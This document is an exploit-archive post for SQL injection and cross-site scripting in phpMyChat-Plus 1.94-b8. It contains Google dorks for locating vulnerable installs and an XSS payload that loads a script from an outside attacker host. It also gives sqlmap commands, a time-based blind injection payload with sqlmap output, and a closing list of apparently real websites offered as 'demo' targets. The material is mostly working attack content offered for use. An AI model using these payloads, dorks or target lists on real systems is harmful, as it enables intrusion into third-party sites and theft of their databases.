phpMyChat-Plus 1.94-b8 - SQL Injection Vulnerability

=====================================================
phpMyChat-Plus 1.94-b8 -  SQL Injecti0n Vulnerability
=====================================================


#####################################################################################################
# Exploit Title: [phpMyChat-Plus 1.94-b8 SQL Injecti0n Vulnerability] SQLMAP !     
# Date: [11/30/2015]                   
# Author: [ JM511 ]     EmaiL : [email protected]     -::AUTHOR
# From :\ Saudi Arabia , 
# Home : www.T4em.com
#  Greeting to :
#	AlQaTaRi || NoK511 || Cyber_511 || CNQ511 || Sarbot511 || Security511 || ALM511 || Abo SaMaRh 305 || 
#	in3ctor Q8 || Strike * Alasmari! || PhaixaL || Kerelius[K] || 7moosh_123 || i [email protected]
#
# Platform / Tested on: [php]  
# category: [SQL Injecti0n]
# d0rK g00gl3 :- 
#	0- " allinurl:register.php?L=  "
#	1- " phpMyChat inurl:remotelogin.php "
#	2- " phpMyChat inurl:register.php?L= "
#
######################################################################################################
#[ Exploit ]#
# 
#    [# XSS #] http://[target].com/register.php?L=english&U=-->'>'/"><SCRIPT SRC=http://jm511.persiangig.com/511.js></SCRIPT>
# 
######################################################################################################
#    [# SQLmap #] 
#	1- 
#   sqlmap -u "http://[target].com/users_popupH.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=1" --dbs -v 3 --random-agent --hex --time-sec 6 --threads 2
#
#	2-
#   sqlmap -u "http://[target].com/register.php?L=english&U=*" --dbs -v 3 --random-agent --hex --time-sec 6 --threads 2 
#
#	3-
#   sqlmap -u "http://[target].com/register.php?L=english&U=
#
#######################################################################################################
#
#	[21:35:02] [INFO] heuristic (basic) test shows that GET parameter 'LastCheck' might be injectable (possible DBMS: 'MySQL')
#	[21:35:02] [INFO] heuristic (XSS) test shows that GET parameter 'LastCheck' might be vulnerable to XSS attacks
#	[00:31:26] [INFO] GET parameter 'LastCheck' seems to be 'MySQL <= 5.0.11 AND time-based blind (heavy query)' injectable 
#
#	GET parameter 'LastCheck' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
#	sqlmap identified the following injection point(s) with a total of 3456 HTTP(s) requests:
#	---
#	Parameter: LastCheck (GET)
#	    Type: AND/OR time-based blind
#	    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
#	    Payload: B=1&From=remotelogin.php&L=hebrew&LastCheck=1' AND 5472=BENCHMARK(5000000,MD5(0x78596d46)) AND 'OyWL'='OyWL
#	---
#	[00:32:33] [INFO] the back-end DBMS is MySQL
#	web application technology: PHP 5.4.45, Apache
#	back-end DBMS: MySQL <5.0.11
#
#	do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
#	[00:32:49] [INFO] adjusting time delay to 2 seconds due to good response times
#
#	available databases [1]:

demo:
http://nonsolocinema.altervista.org/
http://nw-klan.esy.es/chat/
http://pc-freak.net/webchat/
http://www.auctioninchina.com/
http://pc-freak.net/webchat/
http://www.superate.org.mx/chat/

#  0day.today [2018-03-20]  #